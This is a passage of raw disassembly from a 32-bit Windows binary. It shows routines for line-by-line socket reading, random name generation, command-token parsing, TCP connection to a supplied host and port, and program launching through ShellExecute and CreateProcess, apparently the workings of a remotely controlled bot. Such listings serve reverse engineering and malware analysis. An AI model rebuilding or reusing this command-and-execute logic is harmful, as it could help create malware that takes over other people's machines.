		push	80Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B64A
		push	esi
		mov	ecx, eax
		call	sub_401C49
		jmp	short loc_41B64C
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5B0+8Ej
		xor	eax, eax


loc_41B64C:				; CODE XREF: sub_41B5B0+98j
		mov	esi, eax


loc_41B64E:				; CODE XREF: sub_41B5B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B95
		test	al, al
		jnz	short loc_41B667
		push	7D0h
		call	ebp
		jmp	short loc_41B6A4
; ---------------------------------------------------------------------------


loc_41B667:				; CODE XREF: sub_41B5B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_4018A2
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B6A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B6A4:				; CODE XREF: sub_41B5B0+B5j
					; sub_41B5B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B61E


loc_41B6AF:				; CODE XREF: sub_41B5B0+3Ej
					; sub_41B5B0+68j ...
		mov	ecx, ebx
		call	sub_4014E7
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B6C0:				; CODE XREF: sub_41B5B0+Bj
					; sub_41B5B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B5B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B720:				; CODE XREF: ___:00401C35j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B795
		mov	esi, ebp


loc_41B73F:				; CODE XREF: ___:0041B793j
		cmp	esi, ebx
		jz	short loc_41B795
		cmp	[esp+18h], bl
		jz	short loc_41B795
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		cmp	eax, ebx
		jz	short loc_41B7A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B7A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B79D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B780
		cmp	al, 0Dh
		jz	short loc_41B780
		cmp	al, bl
		jnz	short loc_41B788


loc_41B780:				; CODE XREF: ___:0041B776j
					; ___:0041B77Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B788:				; CODE XREF: ___:0041B77Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B73F


loc_41B795:				; CODE XREF: ___:0041B73Bj
					; ___:0041B741j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B79D:				; CODE XREF: ___:0041B76Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B7A4:				; CODE XREF: ___:0041B75Aj
					; ___:0041B75Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B7E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B84A
		mov	edi, ebp


loc_41B7FF:				; CODE XREF: sub_41B7E0+68j
		cmp	edi, ebx
		jz	short loc_41B84A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B84A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B859
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B82A
		cmp	al, bl
		jnz	short loc_41B83D


loc_41B82A:				; CODE XREF: sub_41B7E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B837
		mov	[esi+ebp-1], bl
		jmp	short loc_41B839
; ---------------------------------------------------------------------------


loc_41B837:				; CODE XREF: sub_41B7E0+4Fj
		mov	[edi], bl


loc_41B839:				; CODE XREF: sub_41B7E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B83D:				; CODE XREF: sub_41B7E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B7FF


loc_41B84A:				; CODE XREF: sub_41B7E0+1Bj
					; sub_41B7E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B859:				; CODE XREF: sub_41B7E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B7E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: ___:00401AF0j
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B8DB


loc_41B8A6:				; CODE XREF: ___:0041B8D9j
		push	3
		push	1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B8C7
		dec	eax
		jz	short loc_41B8C1
		dec	eax
		jnz	short loc_41B8D6
		push	7Ah
		push	61h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C1:				; CODE XREF: ___:0041B8B6j
		push	5Ah
		push	41h
		jmp	short loc_41B8CB
; ---------------------------------------------------------------------------


loc_41B8C7:				; CODE XREF: ___:0041B8B3j
		push	39h
		push	30h


loc_41B8CB:				; CODE XREF: ___:0041B8BFj
					; ___:0041B8C5j
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B8D6:				; CODE XREF: ___:0041B8B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B8A6


loc_41B8DB:				; CODE XREF: ___:0041B8A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401424j
		rdtsc
		retn
sub_41B900	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B920	proc near		; CODE XREF: sub_4017FDj

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_5118D8
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B92F:				; CODE XREF: sub_41B920+43j
					; sub_41B920+4Dj
		call	sub_401424
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_401424
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_437C60
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_437C60
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B92F
		jb	short loc_41B96F
		cmp	esi, 0F4240h
		ja	short loc_41B92F


loc_41B96F:				; CODE XREF: sub_41B920+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_437BE0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B9F9
		jb	short loc_41B98F
		cmp	ecx, 50h
		jnb	short loc_41B998


loc_41B98F:				; CODE XREF: sub_41B920+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B998:				; CODE XREF: sub_41B920+6Dj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9A3
		cmp	ecx, 47h
		jnb	short loc_41B9AC


loc_41B9A3:				; CODE XREF: sub_41B920+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B9AC:				; CODE XREF: sub_41B920+81j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9B7
		cmp	ecx, 37h
		jnb	short loc_41B9C0


loc_41B9B7:				; CODE XREF: sub_41B920+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B9C0:				; CODE XREF: sub_41B920+95j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9CB
		cmp	ecx, 26h
		jnb	short loc_41B9D4


loc_41B9CB:				; CODE XREF: sub_41B920+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B9D4:				; CODE XREF: sub_41B920+A9j
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9DF
		cmp	ecx, 1Eh
		jnb	short loc_41B9E8


loc_41B9DF:				; CODE XREF: sub_41B920+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B9E8:				; CODE XREF: sub_41B920+BDj
		cmp	edx, ebp
		ja	short loc_41B9F9
		jb	short loc_41B9F3
		cmp	ecx, 0Ah
		jnb	short loc_41B9F9


loc_41B9F3:				; CODE XREF: sub_41B920+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B9F9:				; CODE XREF: sub_41B920+66j
					; sub_41B920+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BA50	proc near		; CODE XREF: sub_402040j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41BA50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_449729
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BBAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_40142E
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C71
		mov	ebp, eax
		call	sub_401F0A
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013E3
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 2801083h
		test	eax, eax
		jnz	short loc_41BAE6
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41BAE6:				; CODE XREF: sub_41BA50+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41BAEF:				; CODE XREF: sub_41BA50+A9j
		cmp	ecx, eax
		jnz	short loc_41BAF5
		mov	bl, 1


loc_41BAF5:				; CODE XREF: sub_41BA50+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41BAEF
		mov	eax, 61h


loc_41BB00:				; CODE XREF: sub_41BA50+BAj
		cmp	ecx, eax
		jnz	short loc_41BB06
		mov	bl, 1


loc_41BB06:				; CODE XREF: sub_41BA50+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BB00
		test	bl, bl
		jnz	short loc_41BB32
		mov	edi, offset byte_448F30
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BB32:				; CODE XREF: sub_41BA50+BEj
		mov	esi, dword_511AC8
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BBAF:				; CODE XREF: sub_41BA50+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_40142E
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27E0B10h
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_511AC8
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015E1
		test	esi, esi
		jle	short loc_41BC4E


loc_41BBF8:				; CODE XREF: sub_41BA50+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_40142E
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FDC
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017EE
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_444E54
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BBF8


loc_41BC4E:				; CODE XREF: sub_41BA50+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41BA50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD20:				; CODE XREF: ___:00401573j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BD2F
		cmp	al, 9
		jz	short loc_41BD2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BD2F:				; CODE XREF: ___:0041BD26j
					; ___:0041BD2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BD50:				; CODE XREF: ___:00401EF6j
		mov	eax, [esp+4]
		push	offset dword_444E5C
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BD74
		push	eax
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BD74:				; CODE XREF: ___:0041BD65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BD90	proc near		; CODE XREF: sub_401483j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BFEE
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_41BDAA:				; CODE XREF: sub_41BD90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		test	cl, cl
		jz	short loc_41BDCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BDD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BDAA


loc_41BDCE:				; CODE XREF: sub_41BD90+26j
		xor	eax, eax
		jmp	short loc_41BDD7
; ---------------------------------------------------------------------------


loc_41BDD2:				; CODE XREF: sub_41BD90+22j
					; sub_41BD90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDD7:				; CODE XREF: sub_41BD90+40j
		test	eax, eax
		jz	loc_41BFEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_511B00
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_4447F8
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BFEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BE17:				; CODE XREF: sub_41BD90+A4j
		push	offset dword_4447F8
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BFEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BE17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_444E78
		mov	eax, ebp


loc_41BE41:				; CODE XREF: sub_41BD90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		test	dl, dl
		jz	short loc_41BE65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BE69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE41


loc_41BE65:				; CODE XREF: sub_41BD90+BDj
		xor	eax, eax
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BE69:				; CODE XREF: sub_41BD90+B9j
					; sub_41BD90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BE6E:				; CODE XREF: sub_41BD90+D7j
		test	eax, eax
		jnz	short loc_41BE7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD90+E0j
		mov	esi, offset dword_444E74
		mov	eax, ebp


loc_41BE83:				; CODE XREF: sub_41BD90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		test	dl, dl
		jz	short loc_41BEA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BEAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE83


loc_41BEA7:				; CODE XREF: sub_41BD90+FFj
		xor	eax, eax
		jmp	short loc_41BEB0
; ---------------------------------------------------------------------------


loc_41BEAB:				; CODE XREF: sub_41BD90+FBj
					; sub_41BD90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEB0:				; CODE XREF: sub_41BD90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BEFA
		mov	esi, offset dword_444E70
		mov	edx, edi


loc_41BEBF:				; CODE XREF: sub_41BD90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BEE7
		test	bl, bl
		jz	short loc_41BEE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BEE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BEBF


loc_41BEE3:				; CODE XREF: sub_41BD90+13Bj
		xor	edx, edx
		jmp	short loc_41BEEC
; ---------------------------------------------------------------------------


loc_41BEE7:				; CODE XREF: sub_41BD90+137j
					; sub_41BD90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BEEC:				; CODE XREF: sub_41BD90+155j
		test	edx, edx
		jnz	short loc_41BEFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEFA:				; CODE XREF: sub_41BD90+126j
					; sub_41BD90+15Ej
		mov	esi, offset dword_444E6C
		mov	edx, ebp


loc_41BF01:				; CODE XREF: sub_41BD90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF29
		test	bl, bl
		jz	short loc_41BF25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF01


loc_41BF25:				; CODE XREF: sub_41BD90+17Dj
		xor	edx, edx
		jmp	short loc_41BF2E
; ---------------------------------------------------------------------------


loc_41BF29:				; CODE XREF: sub_41BD90+179j
					; sub_41BD90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF2E:				; CODE XREF: sub_41BD90+197j
		test	edx, edx
		jnz	short loc_41BF74
		mov	esi, offset dword_444E68
		mov	edx, edi


loc_41BF39:				; CODE XREF: sub_41BD90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BF61
		test	bl, bl
		jz	short loc_41BF5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BF61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BF39


loc_41BF5D:				; CODE XREF: sub_41BD90+1B5j
		xor	edx, edx
		jmp	short loc_41BF66
; ---------------------------------------------------------------------------


loc_41BF61:				; CODE XREF: sub_41BD90+1B1j
					; sub_41BD90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BF66:				; CODE XREF: sub_41BD90+1CFj
		test	edx, edx
		jnz	short loc_41BF74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BD90+1A0j
					; sub_41BD90+1D8j
		mov	esi, offset dword_444E64
		mov	ecx, ebp


loc_41BF7B:				; CODE XREF: sub_41BD90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		test	dl, dl
		jz	short loc_41BF9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BFA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BF7B


loc_41BF9F:				; CODE XREF: sub_41BD90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BFA8
; ---------------------------------------------------------------------------


loc_41BFA3:				; CODE XREF: sub_41BD90+1F3j
					; sub_41BD90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BFA8:				; CODE XREF: sub_41BD90+211j
		test	ecx, ecx
		jnz	short loc_41BFEE
		mov	esi, offset dword_444E60
		mov	eax, edi


loc_41BFB3:				; CODE XREF: sub_41BD90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		test	cl, cl
		jz	short loc_41BFD7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BFDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BFB3


loc_41BFD7:				; CODE XREF: sub_41BD90+22Fj
		xor	eax, eax
		jmp	short loc_41BFE0
; ---------------------------------------------------------------------------


loc_41BFDB:				; CODE XREF: sub_41BD90+22Bj
					; sub_41BD90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BFE0:				; CODE XREF: sub_41BD90+249j
		test	eax, eax
		jnz	short loc_41BFEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BD90+Dj
					; sub_41BD90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BD90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C0A0	proc near		; CODE XREF: sub_402022j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C108
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41C0F9
		mov	bl, 1


loc_41C0F9:				; CODE XREF: sub_41C0A0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C0A0+18j
					; sub_41C0A0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41C0A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C130	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C130	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C170	proc near		; CODE XREF: sub_402167j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27F0459h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C170	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: ___:00401884j
		sub	esp, 354h
		mov	eax, off_444E84
		mov	ecx, off_444E88
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E8C
		rep stosd
		mov	ecx, off_444E7C
		mov	[esp+10h], edx
